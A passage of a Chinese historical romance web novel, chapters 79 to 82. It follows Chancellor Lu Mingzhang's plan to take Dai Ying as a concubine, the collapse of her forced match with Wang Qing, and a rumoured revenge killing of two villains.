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铭章说道:“清一间房,准备热水。”
这一声,让院中所有人回过神,忙碌起来,备水的备水,热菜的热菜,还有其他一些琐碎。
七月将戴缨请去主屋旁边的侧屋,又招来几名丫鬟,一齐伺候。
屋里有暖壁,不像外面那样冷,丫鬟们先替她褪去湿衣,用干巾拭她头身上的水渍。
“屋里没有适宜的女衫,娘子若是不嫌弃,先紧着婢子的衣衫穿,这几件都是新的,不曾穿过。”七月说道。
戴缨点头道:“劳烦了。”
七月让另几个丫鬟替戴缨把衣衫暂时换上,又去院中催促热水。
好在没一会儿,小丫头们提了热水来,灌了满满一桶,沐间顿时氤氲出潮热的烟雾。
“热水备下了,小娘子请移步。”
戴缨起身,在几名丫鬟的环簇下进了沐间,褪下衣衫,入到桶里。
水温烫,可这个温度对一个浑身冻僵的人来说,如同救命的解药,在微烫的水中浸了好一会儿,她才渐渐有所知觉。
“七月姐姐……”戴缨轻唤了一声。
七月从旁应候:“小娘子不必同我客气,唤我七月,有什么事尽管吩咐。”
能在主人房里当大丫头,没一个是蠢的。
“可否差人去一趟福兴酒楼,我的丫头在那里。”
“好,婢子这就着人走一趟,可要捎什么话么?”七月问道。
“不用捎话,只告诉她我无事,她就什么都知道了。”
七月应下,出了沐间,转身去了主屋,走到一扇宽大的帷屏前,帷屏内隐有水声。
“爷,适才小娘子让婢子去福兴楼传话。”
陆铭章的声音带了一点点湿热:“去罢,她说什么,你照做就是。”
七月应下,这才着人往福兴楼递话。
陆铭章并未打算瞒下消息,是以,上房那边很快就知道了。
在他沐洗更衣后,丫鬟替他烘干头发,重新束起,长安走来,恭声道:“上房的人在院外候着了。”
“嗯。”
待装束齐整,陆铭章出了屋室,侧过头,看了一眼旁边亮着微弱灯光的侧屋。
此时雨脚暂歇,但地面仍是水淋淋的,陆铭章上了乘辇,往上房行去。
陆老夫人年纪大了,睡得早,早早用过晚饭,本要睡下,这会儿却锁着眉,围着一条貂毛的抹额端坐于堂间的交椅上,见了自家儿子,沉出一口老气,眼中没有半点喜色。
“都下去。”陆铭章说道。
屋中众人应诺退下。
人刚一退出,陆老夫人一把拍向案几,怒斥道:“简直胡闹!”
陆铭章走上前,先是揖拜,再行到老夫人身侧坐下。
“母亲莫要动怒。”
“还要我不动怒?你这孩子向来让我省心,怎么也行起这等轻狂事来?!”陆老夫人气得连拍桌案。
陆铭章不慌不忙,亲手斟了一盏温茶,奉到自己母亲面前:“您先喝口茶,顺顺气,之后再问什么,儿子都如实回答。”
陆老夫人又是一声叹:“你这杯茶,是想堵我的嘴,还是指望我喝了,就能当作什么都没发生?”
“只是给母亲润润嗓,没那么多说道。”陆铭章笑道。
老夫人话是这么说,却还是接过那盏茶,啜了几口,腔音威严。
“我只一句话,赶紧把人送回去……”
第79章 自荐枕席
陆铭章将人接回陆府,没有送往揽月居,径直回了自己的一方居,很快上房那边得到了消息。
待他沐身更衣后,便去了上房。
陆老夫人不问缘由,先是来了一句,叫他把人送走。
面对陆老夫人的强硬要求,陆铭章没有争辩什么,而是把戴缨离开陆家后所遭受之事道了出来。
陆老夫人听说,半晌沉默不语。
“那谢家除了一个谢容,就没个好的。”
陆铭章道了一声是。
接着,陆老夫人看向儿子,又道:“你别糊弄,就算缨丫头受了屈,你若真想给她平事,不过就是你一句话,何必闹今天这一出?”
陆铭章点了点头,说道:“母亲说的是,想替她平事容易,只是……儿子相中了这丫头。”
“你……这不是胡闹嘛!”
对陆老夫人来说,儿子愿往房里领人,再好不过。
她为此事不知愁了多少年,可他是个主意大的,这府里没人能替他主张,哪怕她这个母亲也不能。
按理,听他愿意纳妾,她该高兴,可缨丫头那是谢家小郎的表妹,谢小郎同自家孙女儿有亲。
“不行,其他人我不说什么,就这丫头不行。”
陆老夫人现在回想起来,原来一切都有迹可循,许多时候这丫头前脚来上房,后脚自家儿子就来了。
还有,他说去青城公办,哪就那样巧,青城同平谷毗邻,全像是专为送那丫头走得一趟。
说是探访勋贵旧臣,在身体有恙的情况下,大可以缓一缓,结果仍是拖着病身上路。
再有中秋那日,对勾栏瓦舍献艺从来不感兴趣的他,突然包下襄楼三层,往年从来没有过,也是缨丫头来了后才有。
陆老夫人发现不能细想,稍稍一想,处处都是不寻常,偏那个时候她一点未察觉。
别说她了,阖府上上下下,只怕除了长安,无一人知晓内情。
陆老夫人的反对,并未激起陆铭章过大的反应,反而是一副沉静的态度,也是这一份沉静安抚了老夫人心底的怒意。
“那丫头是谢家的表亲,婉儿同谢家又定了亲,你叫婉儿日后如何自处?”陆老夫人说道。
陆铭章一条胳膊搁到椅扶上,身子微斜:“谢家那种人家,母亲真舍得把婉儿嫁过去?”
陆老夫人一怔,陆铭章继续说道:“倒不是嫌弃谢家门户低,就是门户再低,只要家风正,德行端正,为了婉儿,儿子也能让这家人体面。”
“可您看谢家夫人是何等样的人,说一句‘心如蛇蝎’不为过,那丫头还是她嫡亲的侄女儿,却被这么糟践,您是知道缨丫头的脾性,说话甜净,虽说有些小毛病,可大问题是没有的,脑子转得灵,就这样一个人都顶不住,遑论婉儿。”
“日后婉儿嫁过去,母亲试想想,依她那性子,谢家门户就算不如咱们,戴万如也是她婆母,有这一层身份在,日后她受了委屈,咱们总不能时时顾及。”
陆老夫人全没发现,本是谈论儿子的问题,结果不知扯到哪里去了,还深以为然。
“你思虑得是,先开始我就不大满意她和谢家这一门亲,只是婉儿实了心,不听劝,一心认准谢家小郎,真真是愁人。”
陆铭章反过来宽慰:“母亲莫急,这也是小事,只要人没嫁过去,这门亲事就未有定数,一切交给儿子来处理。”
陆老夫人点了点头,这才想起话题走偏了,只是再次开口,语气缓了几分,带上几分无奈。
“那你打算怎么办?”
虽未指名道姓,但陆铭章知道母亲问的不是女儿和谢家,而是他预备怎么安置戴缨。
陆铭章直言道:“儿子有心于她,想纳作侧室,再者,母亲不也喜欢这丫头,日后她也能长久侍奉您身边,给您解解闷。”
就这么的,原本坚决反对的陆老夫人,态度有了松动。
主要还是两方面,一是自家孙女儿不必嫁于谢家,二是她比任何人都想儿子房里有个知冷知热的体贴人。
她有种说不出来的预感,儿子这一脉开枝散叶就指着这丫头了。
“罢了,既然你已有主张,我也不说什么,只是有一点,万不能影响到你。”
多少双眼睛暗中盯着他,恨不能没错也给揪出错来,说罢,陆老夫人拿指隔空点了点,又是一声叹。
这孩子行事从来规矩稳重,但她忘了,以他这个年纪位列宰执,内里绝非显露出来的那样板正、端肃。
陆铭章笑道:“岂能让母亲操这份心,我自有计较。”
下过一场雨后,更冷了。
陆铭章从上房出来回了一方居,走向主屋的脚步顿住,侧过头,看向另一侧的屋室。
窗纱黑着,没有一点点光亮,同从前空置时没两样。
七月往家主面上觑了一眼,上前说道:“小娘子身上受了寒,先前病根没好完全,用热水沐身后,婢子让厨房熬煮了一碗汤药,喝过后,这会儿歇下了。”
陆铭章没说什么,“嗯”了一声,正待回屋,侧屋响起了一点点动静,接着,亮起光,门扇随之开启。
七月见此情形,垂首退下。
“怎么还不歇息?”陆铭章看向门后之人。
戴缨张了张嘴,话堵在喉间。
陆铭章在她面上看了几眼,知道她有话说,于是走向她,进了那扇门。
屋里光线很暗,只有一盏微弱的烛火执在她手里,暖气很足,幽暗中萦绕着淡淡的香息。
陆铭章走到桌边坐下,说道:“太暗了,再点一盏烛。”
一句无关紧要的话,让周围别扭的空气舒闲起来,于是戴缨又点了一根高烛,屋里瞬间光亮许多。
“何事?”陆铭章问道。
戴缨抬眼看向陆铭章,让她有一瞬间的恍惚,他的神情淡淡的,回看向她的眼神微冷,没有情绪起伏,还不如从前她在陆府做客时他对她的态度。
他将她带入一方居,如同对待一个疏于见面的客人,而先前在雨幕中,油纸伞下的相依,衬得那样不真实。
就在她晃神的工夫,陆铭章的声音再次响起。
“这可不像你,从前的你最耐不住静,戚戚喳喳,怎么这会儿反作娴静之态?”
戴缨浅浅的唇带上一点几不可见的笑,转而说道:“我想求大人替我救一人。”
陆铭章点
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了点头:“放心,我已安排人去了。”
“安排人去了?”
“是。”
戴缨怔了怔:“所以……大人都知道……”
陆铭章没有回答,可这一声沉默已给出了回答,接着就听陆铭章问道:“怨我么?”
“怨什么?”戴缨声音低低的。
“怨我明知你有难,却冷眼看着,看你徒费力气挣扎,看你陷入囹圄,怨么?”
戴缨心里有怨,怎会不怨呢,若是别人,她可以理解,甚至可以大度地为他们找各式各样的理由。
但她对陆铭章做不到,很奇怪,在他面前,她的脾气很大,心眼很小,可他的身份,只能让她违背良心地说了一声。
“不敢。”
陆铭章似有所悟地点了点头:“是不敢,不是不怨,你心里必在恼我。”
戴缨没有随着他的话说,而是转过话头,问道:“若我最后不得不去王家,大人真打算见死不救?”
陆铭章很快给出了回答:“你不会让自己走到那一步。”
戴缨说不上来是什么感觉,有些无力:“所以,大人量准了我会找你。”
不必陆铭章回答,这便是答案。
“天色已晚,别再多想,好好歇息。”陆铭章撩衣起身,正待离开。
戴缨看着他的侧影,负气的话终是压持不住,讥讽的话脱口而出:“春宵一刻值千金,大人费尽心机得到了人,不留下来么?”
陆铭章身形一顿,回过头看向她,似笑非笑道:“这话倒让我糊涂了,究竟是我费尽心机,还是有人……投怀送抱?”
接着,不给戴缨回话的机会,又道,“既然是自荐枕席,便如同添头赠品,何来千金?”
说罢,看着戴缨的双眼又问:“还有什么要说的?”
戴缨傻怔着,摇了摇头。
“没有要说的,就早点歇下。”
戴缨“哦”的应过一声,陆铭章带上门离开。
……
彼边,一条狭窄的巷弄内,因才下过一场雨,巷内潮气很大,墙面和地面在昏黑的夜里泛着水光。
这里住了几户人家,皆已熄灯睡下,唯有一家的窗户还亮着。
听得一声“吱呀”,门扇开启,一个妇人探出半边身,把怀里兜的面盆向外泼洒,水泼落地面,生出白色的烟气。
妇人回过身,进到屋里,又“吱呀”一声闭上了房门。
屋中的方桌边坐了一个面目粗野的汉子,汉子方正脸,乌紫唇,正在喝酒,桌上摆了几碟子下酒菜,妇人走到他身侧坐下。
透过屋里微弱的烛光,观得那妇人矮个头,体态丰腴,团圆脸,本该是亲和面相,却生了一双过于分明的三角眼,反衬得不和洽。
这妇人正是从前在华四锦做绣娘的胖妇人,本打算偷拿金线,嫁祸给徐三娘,结果搬起石头砸自己的脚,被赶出了绸缎庄。
“今儿你带回的那件皮**当真是好。”胖妇人乐得眼睛没了缝,然后给男人倒酒。
男人执杯喝尽,又拈了一筷子菜放到口中,面上泛着红光,一脸得意。
“先前若不是因为你这婆娘,我那巡事所的事务也不能丢……”
第80章 原来你在哄我开心
原来这汉子正是被巡事所除名的白役,周虎。
周虎当时针对戴缨的绸缎庄,不仅仅因为拿了对家的好处,有一部分原因是替自己的姘头出气。
胖妇人匹手夺过他手里的酒杯,抿嘴笑道:“话不是这等说,若不是老娘,你还在巡事所做那没有油水的事哩!”
周虎反声道:“哪里没油水?真要说来,这衙门里只是吆喝声大,巡事所才是闷声发财之地。”
胖妇人根本没将男人的话往耳中去,自顾自起身,走到屋角的箱柜前,将箱笼打开,从里取出一件柔滑丰软的毛绒斗篷。
一双手在厚实的皮**上来回摩挲,突然眼睛定在一处,咦了一声:“这是什么?”
周虎面颊酡红泛亮,双眼眯起:“咦什么?难不成上面还镶了宝珠,若有宝珠摘下来,明儿我拿去换钱。”
胖妇人眼睛仍落在斗篷上,嘴里说道:“真要发现宝物,我能让你这冤家知晓?”说着,拿两指在皮**上捻了捻,“这里好像是……血……”
周虎听后,嗐了一声:“那女人是个活**,我拿这斗篷时,她竟从榻上奔来拦我,也不怕掉气。”
胖妇人咯咯笑出声:“那这血是怎么回事?莫不是你被挠了?”
“我能被那病痨碰着?在她没挨近时,照着她胸口就是一记窝心脚,估计是踹狠了,从嘴里喷出来的脏东西。”
胖妇人听说,“呸”的一声,忙不迭将那皮**斗篷往旁边一丢,像是沾了什么脏秽。
“晦气!我当是什么好东西,原是个血糊糊的讨命符,趁早拿了去,没得沾染了老娘的身家运气,那起子瘫尸鬼摸过的东西,你也往家拿,真真是嫌命长了!”
周虎浑不在意地摆了摆手:“你这婆娘还嫌弃上了,得,得,既是不要,赶明儿我拿去卖了换钱。”
“笃,笃,笃……”
胖妇人撇了撇嘴,看了一眼被她丢在一边的皮**,又有些不舍,心中暗忖,真叫这汉子拿去换钱,得来的钱落到他口袋,转过身就去暗门子喝酒,最后却便宜了那些个烂货。
不如她自己拿去卖了换钱。
“你这心意,就算晦气我也当宝贝守着,万万舍不得你拿出去贱卖。”
周虎将一条腿踩在旁边的高凳上,摇头晃脑,又拈了一块牛脯送到嘴里,然后哼起小曲来。
“笃,笃,笃……”
周虎发现胖妇人说罢话后立着不动,于是转头看向她,发现她正一眨不眨地看着自己,眼神古怪。
“你那是什么表情?看我做甚?”周虎往自身看了看。
胖妇人的一双眼在周虎身上看了一圈,又扫向他周围,最后目光环上整个屋室。
“你听到什么声音没有?”
周虎见胖妇人如此说,顿住拿酒壶的手,凝神去听,什么也没有,只有稀稀拉拉滴水的声音。
“什么也没有……”
话音被打断。
“笃,笃,笃……”
胖妇人惨白着脸,骇声道:“听到没有?这是什么声儿?刚才一直就有!”
不待周虎开口,那声音响得频繁了:“笃,笃,笃……”
周虎到底是男人,粗莽且煞气大,先时着实惊了一下,反应过来,眼睛循着声源扫去。
最后一双眼盯在房门上,再次响起的“笃,笃,笃……”,正好印证了这一点。
“妇人家就是见识短,针尖大的事也值得惊破了胆,那是敲门声,听清楚了再哆嗦不迟。”
胖妇人屏息再听,还真是有人在敲门,松下一口气,嘴里一面骂骂咧咧,一面往门边走去。
“是哪个天不收地不留的短命鬼,三更半夜敲你奶奶的门,是家里**娘还是阎王催命,赶这等急脚!报丧也不看时辰……”
周虎给自己倒了一盏酒,放到嘴边仰头喝了,咂摸一口,问道:“是谁?”
不见妇人的回音,遂抬头去看,就见木门半开,胖妇人立在门边,两眼直直地看向外面,嘴巴微张,不知看到了什么,僵凝的面孔变得异常惊恐。
“是谁?谁在门外?”周虎又问了一声,只是这一次的语气同前一次不同。
胖妇人僵着脖,愣愣侧过头,看向周虎,嘴巴张阖,发不出一点声音……
前一日因下过雨,经过一夜的寒冷,地面的水凝成了薄薄的冰封。
狭窄的巷弄内开始有了动静,木门开启,从门内跑出一个小童。
小童穿着厚厚的袄在门前蹦跶,发现对面有一片结了冰,出于玩性,蹦跶过去,蹲下臃肿的小身子,拿手指在冰面拍打。
“二毛,你做什么呢,外面冷,还不快进屋来。”一个妇人的声音从屋里传出。
“娘,我玩冰呢。”
“冰有啥好玩的,仔细冻了手。”妇人的声音再次从屋里传出。
小儿咯咯笑道:“就好玩,这冰像是糖葫芦的糖衣。”
妇人乐了,接过孩子的话:“糖衣下是红的山楂,酸甜的,那冰下是脏水,你要不要尝一口?”
“这冰下也是红的山楂,被捣烂的山楂,不好吃,我才不要尝。”
小儿说话间,妇人从门里走了出来,欲拉自家小儿回屋:“竟说胡话,冰下面哪会有捣烂的红山楂,快进屋。”
“真有红山楂,娘,你看。”小儿扬手一指。
妇人下意识往那处看去,本是无心一瞥,然后眼睛觑起,为看得更清楚。
红的,烂的,看不清是什么,像是什么畜生的皮肉,妇人顺着红色的泥状物延伸目光,发现隔壁的房门没关严实,半掩着。
于是上前几步,透过门隙好奇地往里看去。
妇人双眼一点点张大,直到再也不能扩张为止,眼珠在眼眶中颤动。
接着尖厉的叫声贯穿了整个巷弄,唤来了邻舍,也引来了许多看热闹之人。
据后来人说,当时在现场之人,看了那屋里的场景,之后的一年是吃不下肉的。
至于当时屋内是个什么情况,众说纷纭。
有说只有两具光溜溜的身体,没有头颅,亦有说,虽说有身子,可内脏却没了,还有说头身都在,但两具尸身皮肤紫红充血,浑身上下的筋骨没一处是好的。
若是最后一种那简直是被活活折磨死的。
对于这二人的死法有很多,说法不一,而有关这二人的死因,那就更是千奇百怪了。
有说是仇家寻仇的,因为死的这个男的叫周虎,是京都地界有名的蛮混子,挂了个府衙的闲差,以此作恶
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,欺压过不少人。
而死的那个妇人也不是什么好货,手脚不干净不说,还替人做牵头,拆了不少家。
仇家寻仇的说法听起来最合理,可坊间传得最广的却不是仇家寻仇,而是厉鬼索命……
因那巷弄狭窄,邻舍之间共用墙壁,不隔音,事发那夜,旁边一户听到妇人先是开门泼水,后来又听到戚戚的说话声。
听不清在说什么,但确实在说话。
后来就听到“笃,笃,笃……”的敲门声。
有人好奇,非要探问究竟:“怎么样的敲门?”
那邻舍又说:“就是慢慢地敲,笃,笃,笃……一点也不急,隔一会儿,敲一下,直到……”
“直到什么?”
“直到那扇门‘吱呀’打开。”
“后来呢?”
邻舍面色白了白,不敢往下说,摆手道:“不知道,不知道……我什么也不知道……”
越是这样,越是叫人好奇,于是,厉鬼索命的说法成了主流。
……
戴缨一夜没睡好,她不可能睡好,很早就起身了,陆铭章不在院中,上朝去了。
她到福兴楼时,鸢娘住的房间已经空了,空落落的堂间坐着两人。
一个是自己的丫头归雁,一个是陆铭章的亲随长安。
归雁见了她,急着走来,湿红着眼眶,眨了眨眼,颤着嗓,叫了一声。
“娘子……”
戴缨喉头发硬,压下不平的气息,问出声:“人呢?鸢娘呢?”
归雁终是忍不住,流下两行泪:“阿左哥……带她回去了……”
长安驱车载着主仆二人来到陈家,大门是闭着的。
归雁上前敲门,门里没有应答,直到戴缨在门外轻唤:“陈左,是我,阿缨,你开开门,我见一见她。”
过了一会儿,院门打开,戴缨看着眼前人,险些认不出,不,那不像一个活人,像是从地狱爬出的恶鬼。
在很多年以后,戴缨回想起来,这一时的陈左,面目竟是模糊不清。
他转身朝院里走去,戴缨主仆随他走进院中,长安则不远不近地跟在戴缨身后,一双眼半该不离她。
陈左走入卧房,朝床上之人轻唤道:“鸢娘,东家来看你了。”
榻上的女子面颊凹陷,双眼闭着,神态安宁,不给任何反应。
戴缨走了过去,坐到榻边,拿手轻轻抚过女子额边的碎发,那碎发很软很柔,同它的主人一样。
“阿鸢……”
“你的桂花酿我再也喝不上了,还好,我舍不得喝它,留了半瓮,原以为是我在哄你开心,原来是你在哄我开心。”
戴缨来看过鸢娘,并没有多待,这个时候的陈左并不希望被打扰,只想安安静静地同妻子待在一起。
临走前,她没同他说任何安慰的话,任何言语都苍白无力,只是告诉他,事情处理好后,来找她,她有话同他说。
陈左眼睛看着地面,终于点了点头,看到他点头,戴缨才放心离开。
回家的路上仍是长安架车,戴缨主仆二人坐在车里。
归雁往她家娘子脸上看去,张了张嘴,问道:“娘子,我们现在去哪里?”
戴缨揭起窗帘往外看了眼,说道:“陆府……”
第81章 独一份的‘赠物\’
她们出来得早,乡间空气更冷,人烟寥寥,周围还有薄雾,黄土路上只听得车轮辘辘之声。
戴缨揭开窗帘,往外看去,薄雾弥漫,林木萧疏,寒鸦嚷嚷。
归雁从旁看着,娘子眼里透着淡淡的伤情,想是刚才的悲郁到这会儿才从眼中漫出。
这样的娘子让她有些陌生。
“跟我说一说昨天的情状。”
戴缨的声音将归雁的神思拉回。
“安管事将阿左哥领来的。”归雁往自家娘子身边近了近,声音放轻,“他来时,鸢娘还存着一口气……我没在跟前,退出了屋。”
归雁的眼睛看向某一处,在记忆的带动下说着昨日的经过。
“后来……没过一会儿他就出来了,一张脸像铁一样,像是被砸坏了的铁,不平整,眼睛很红,安管事走到他身边,不知说了什么,两人就离开了。”
“离开前,安管事交代我在房门前守好。”
归雁说到这里,声音有了一点点异样。
“我想着,进去陪一陪鸢娘,便走了进去,人已经没了,很安静地躺在那儿。”
戴缨听后没再说什么,亦没再问什么,她知道有些事情还没完,只是刚开始。
……
一大早,陆家老夫人身边的周嬷嬷到谢家,说陆相欲纳戴缨为妾。
直到人走后,戴万如的脑子还乱着,可有一点她很清楚,不管做妾还是当奴,都不能让戴缨进陆府,否则必会搅出事来。
若她被陆铭章纳进房里,那丫头一定不会放过自己。
这也是为何她在周嬷嬷跟前冒着得罪陆家的风险,一口咬死,已将戴缨许给了王家老爷。
不管戴缨现今在不在陆府,她都是许给王家之人,就算陆铭章权力再大,也不能违律法,乱纲常。
然而,这也只是安慰自己的话,因为直到现在陆家也没将人送回。
这意思再明显不过,那边要把人留下,可周嬷嬷走时的态度叫戴万如难猜。
嘴里应着好,就是不将人送回,没有人,那她还怎么把人送去王家?
自那日王庆见过戴缨的画像后,就日思夜想,盼着早日将人接进门。
为了体贴自己夫人的贤惠用心,一连几日不去别的院子,只在上房歇宿。
这日午时,王庆正在府衙后面小憩,一人走了过来。
“王大人原来跑到这里躲闲来了。”
王庆抬眼去看,来人不是别人,正是他所在部司的上级。
遂赶紧从半榻起身,理了衣襟,向前作了揖,唤了一声何祠部。
何祠部亦还了一礼,示意坐下,部里当值的公人上前替他二人倒了热茶,退到一边。
“王大人这两日看起来似有喜事,满面春光啊。”何祠部笑叹道。
王庆笑着摇手道:“哪里,哪里。”
何祠部招了招手,一旁的公人上前,双手奉上漆亮的黑木匣,置于桌上。
王庆不明,看着那黑木匣问道:“这是……”
何祠部一双似笑非笑的眼先是睨向黑木匣,再抬眼看向对面的王庆。
“我是来恭贺王大人的。”
“这恭贺二字怎么说?”王庆问。
何祠部用下巴指了指黑木匣,说道:“这方木匣乃陆相送王大人之礼,赐下此等殊例,岂不是件大喜事?咱们盼穿了眼也未必能得陆相一顾,能得他独一份的‘赠物’,实在是难得!”
王庆听后,先是一怔,双目露出疑惑的欣喜,面上虽然克制,可嘴角怎么也压持不住,后知后觉地问出。
“下官一不曾为相公分忧,立下尺寸之功;二不曾为朝廷效力,建有显赫之德,实在无功无德,岂敢受陆相公如此厚赏?”
何祠部微笑道:“王大人何必过谦,既是陆相公所赐,自有他的道理。”转而又道了一句,“陆相还说了……”
王庆连连追问:“相公还说了什么?”
“陆相还说,他同大人赏鉴相同,是以,将匣中礼送于大人,此礼极为贵重,大人万要好好保管。”
王庆敏感地察觉到一点点异样,但又被极度的喜悦给淹盖,就要伸手去打开木匣。
何祠部伸出一手,在木匣上空压了压:“王大人还是归家后再打开罢,办公之所……就别行私事了。”
“是,是,祠部说的是。”
王庆喜得赶紧应下,没有哪一日像今日这样,盼着下值,下值后,一刻不耽搁,连同僚相邀品酒都拒了,乘着轿子回了府。
轿子还未到家门,在前探看的小厮就跑到上房报于王夫人。
王夫人欢喜地赶紧命厨房摆饭。
好久没过得这般舒心,老爷一下值就来上房,那姓蔡的小**装病、哭闹,皆无用。
等戴家那丫头进了门,蔡氏的好日子也就到头了,不过她得想办法把戴家丫头攥在手里,让她听话才成。
思及此,脑子里闪过戴万如的脸,做姑母的对亲侄女儿像仇人,想来,不必她出手,谢家夫人也有办法拿捏那丫头。
正想着,下人来报,老爷回了。
王庆急走入屋室,王夫人上前替他宽除外衣,又贴心地倒了杯暖茶。
“老爷喝了暖暖身。”
王庆摆了摆手,走到桌边,双手在黑木匣表面摩挲。
“这是什么?”王夫人问道。
王庆便把陆铭章赐礼一事讲了。
“陆大人赏赐的?”王夫人惊了一声。
王庆没顾上回答,两眼光亮大盛,落在木匣上,“咔嗒”一声,将锁扣拨开。
王夫人也好奇地侍立一侧,想看一看那位大人赏赐之物,匣子一点点打开,王庆在看到里面的物什后,一时反应不过来。
“这……这是什么?”王夫人疑惑道。
只见匣中躺着一条两指宽的又细又长的缎子,原以为会是什么珍贵宝物,再不济也是难寻的稀罕物件。
王庆看着那根长带,缄默不语,眉头锁起,先前心底被他摁下的异样如浪一般翻涌腾起。
何祠部当时说的什么,他说:
众人盼穿了眼也未必能得
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陆相一顾,能得他独一份的‘赠物’,实在是难得!
现在想来,他说这话时,面上那表情很耐人寻味,还有……这“赠物”竟不像“赠物”,而是“憎恶”?!
王庆越想心里越凉,再次凝目去看这条细长的绸带便不一样了。
“老爷,陆大人送的这是什么?怎么看都只是一条再普通不过的长绸带。”王夫人再次问道。
不知想到什么,王庆两眼睁瞪,浑身颤抖起来,额上冷汗涔涔,上下唇切磕着。
他将双手撑在桌案上,让自己颤抖得不那么厉害,终于,艰难地说了一句。
“这是冠帽上的系带……又称‘缨’。”
继而,白日被他忽略掉的最为重要的一句话,在脑中炸响:
陆相还说……他同王大人赏鉴相同。
王庆兜着自己脑门就是一记狠拍,指着自家夫人说道:“快……快去谢家,那个叫戴缨的丫头不要了,不要了。”
王夫人还未反应过来:“好好的,那丫头不日就要抬进来,怎么说不要就不要了?”
“叫你多嘴长舌,还不照着我的吩咐去办,再晚些,老爷我真就要卸冠除袍!”
王夫人从未见自家老爷如此失态,当下不敢再问,立时遣人去谢家。
……
掌灯时分,一扇光亮的纱窗传出一声惊喊。
“嘶——轻点——”接着那声音又厉了几分:“我叫你轻点!”
戴万如从外听着,摇了摇头,走进房中,就见女儿正坐在半榻上,裤腿卷起,一旁的丫头正给她抹膏药。
“破皮了?”戴万如上前拿过丫鬟手里的瓷瓶,亲自替女儿上药。
谢珍昨日往敞厅去,刚走到门首,就听到陆府来的周嬷嬷的话,脚下一滑,跌了一大跤,把膝盖磕了,当时因为太过惊骇没顾上疼,回屋后,才发现两个腿膝红紫渗血。
“哎哟——疼,疼,疼……”
戴万如下手的力道不比丫鬟轻,谢珍能喝骂丫鬟,却不能对她母亲疾言厉色,疼得脸上的肉挤在了一块。
上罢药,谢珍将裤管放下,嘴里问道“母亲,今日周嬷嬷说的是真的?陆家大爷真打算纳戴缨为妾?”
戴万如接过丫鬟递来的帕子,拭干净手,冷笑一声:“没廉耻的货皮子,必是先前在陆家使了什么狐媚,勾引陆大人,先时我还骂你来着,原来祸根在她这儿。”
说着又是一声嗤笑:“想搭上陆家这条大船,简直痴心妄想,我岂能如她的意?”
“那母亲的意思是?”谢珍问道。
“我给她拒了,打发了陆家人。”
“拒了?陆家人肯依?什么也没说就走了?”
戴万如坐到半榻上,“嗯”了一声:“本就一个妾室,估计陆大人见她有几分颜色,临时起了兴儿,我在那周嬷嬷面前搪塞两句也就过去了。”
“再者,女子婚嫁向来由长辈做主,陆家高门大族更得遵照规矩,只要我不松口,那丫头就只能给王老爷做妾,休想翻身!”
第82章 一时兴起?蓄谋已久?
谢珍听说后,乐得一呵。
虽说都是为妾,却有云泥之别,一个陆家,一个王家,一个簪缨士族,一个低阶官户,一个春秋鼎盛,一个风烛残年。
思及此,谢珍不免想得更多,若换作她给陆大人为妾,也是使得的。
戴万如同女儿口头这样说道,心里其实也没底,未免夜长梦多,明日一早就派人去陆府,无论如何都得把人接出来。
待把人接到手,径直送去王家,如此一来,她方能安心,正想着,下人来报。
“夫人,王家来人。”
天都暗了,王家遣人来做什么?戴万如没由来的心头一跳,这个节眼,一点点异动都叫她不能安生。
“人呢?”戴万如问道。
“在前厅候着,不过王家人是来找老爷的,老爷已经过去了。”
戴万如一听,心里的不安更加强烈,慌忙出了谢珍的屋室,带着人往前面去了。
因有谢山出面,戴万如便悄声走到敞厅的帷幕后,倾耳去听。
小儿手臂粗的高烛将敞厅照得灯火通明。
谢山坐于上首,侧边坐着一锦袄长衫的中年男子,男子戴着貂绒小帽。
“王管家深夜来我府上,可是王大人有什么吩咐?”
被唤王管家的中年男子笑了笑,和气道:“大人过虑,不存在什么吩咐不吩咐,只是我家大人有一事让小的前来告知。”
谢山点头道:“王管家说来。”
“我家大人再三思量,说戴小娘子单名一个‘缨’字,此乃金玉之质,日后是要戴珠冠、披霞帔,享一世尊荣的,反观我们王家,不过是蓬门荜户,池小水浅,安敢以瓦砾误了小娘子前程。”
王管家望向上首的谢山,缓缓说来:“故此,先前那事,就此作罢,还望大人见谅。”
不及谢山反应,管家从身旁拿过细长的木匣,双手呈递:“这宝物太过贵重,请大人收回。”
厅间侍立的小厮接过,呈到谢山面前,谢山打开往里看了一眼,是一卷轴。
“王管家可否将话道清楚,这……怎么先时好好的,突然就此作罢。”
王管家连连摆手,惊唬道:“大人可不能乱说,怎见这‘突然’二字,我家老爷年事已高,断无纳新人的打算。”
说罢,站起身,拱手作揖,匆匆辞别了。
直到管家身影消失在浓夜中,谢山才开口:“还不出来?”
戴万如从帷屏后现身,谢山发现她的面色不对,再加上刚才王家的态度,质问道:“你是不是有什么事情瞒我?”
“老爷说什么呢,妾身哪有事情隐瞒。”
要说对戴万如这人的了解,这世上除了戴缨,就是谢山了,戴万如的嗓音很实,发音时像石头沉进水里,并不轻飘。
不过这并非她的原声,而是有些刻意压嗓,方显得端威,只有在她惊惶或是心虚之际,声调会不受控地浮起来,譬如现在。
“还不如实说来!现下不说,落后叫我探问清楚,我可不像现在这样好说话。”
戴万如身子晃了晃,正待开口,又一下人匆匆跑进敞厅。
“老爷,有……有……”那人咽了咽喉,一面说,一面从袖中掏摸。
谢山心头正烦躁:“有什么?”
“有信。”小厮从袖中摸出信笺,向前递去,“平谷的书信,陆家人送来的。”
怎么……平谷的信,陆家人送来?这可是奇,谢山接过书信,在封套看了一眼,然后若有所思地瞥了戴万如一眼。
此时戴万如已经不知该做何种反应。
谢山拆开封套,取出信纸,展开看去,从头到尾看了一遍,看第一遍时还有些不明白,接着又看了一遍,仍是糊里糊涂。
这份糊涂不是他看不懂信中内容,相反,信中内容写得再明了不过。
信是戴万昌亲笔,写给戴万如的,前面先是一大段虚伪的客套话,略过不提。
后面才是信件的真实意图:
事出突然,京都陆府的陆相公,竟知晓了你侄女,并亲自过问其婚事,陆相公位高望隆,若能得陆府垂青,实乃戴家家门之幸。
故此,你侄女婚嫁事宜,今后唯有仰仗陆相公定夺,陆大人更亲口言明,小女蕙质兰心,其终身大事,陆府愿一力承当,觅一桩良缘。
贤妹于京中,万勿再为此事劳神,更需谨言慎行,切不可拂逆了陆府美意。
若缨娘得配高门,光耀家楣,你我为父为姑者,与有荣焉,岂非最终所愿?望你体谅为兄身为人父、身为家主的不易。
望贤妹善自珍重,一切以家门大局为重。
戴万如不知信中内容,但谢山那难以描述的复杂面色让她心中忐忑。
“拿去看,看过后,你今儿若是说不清楚,就滚回平谷,我谢家容不下你。”谢山扬手将信纸丢在戴万如脸上。
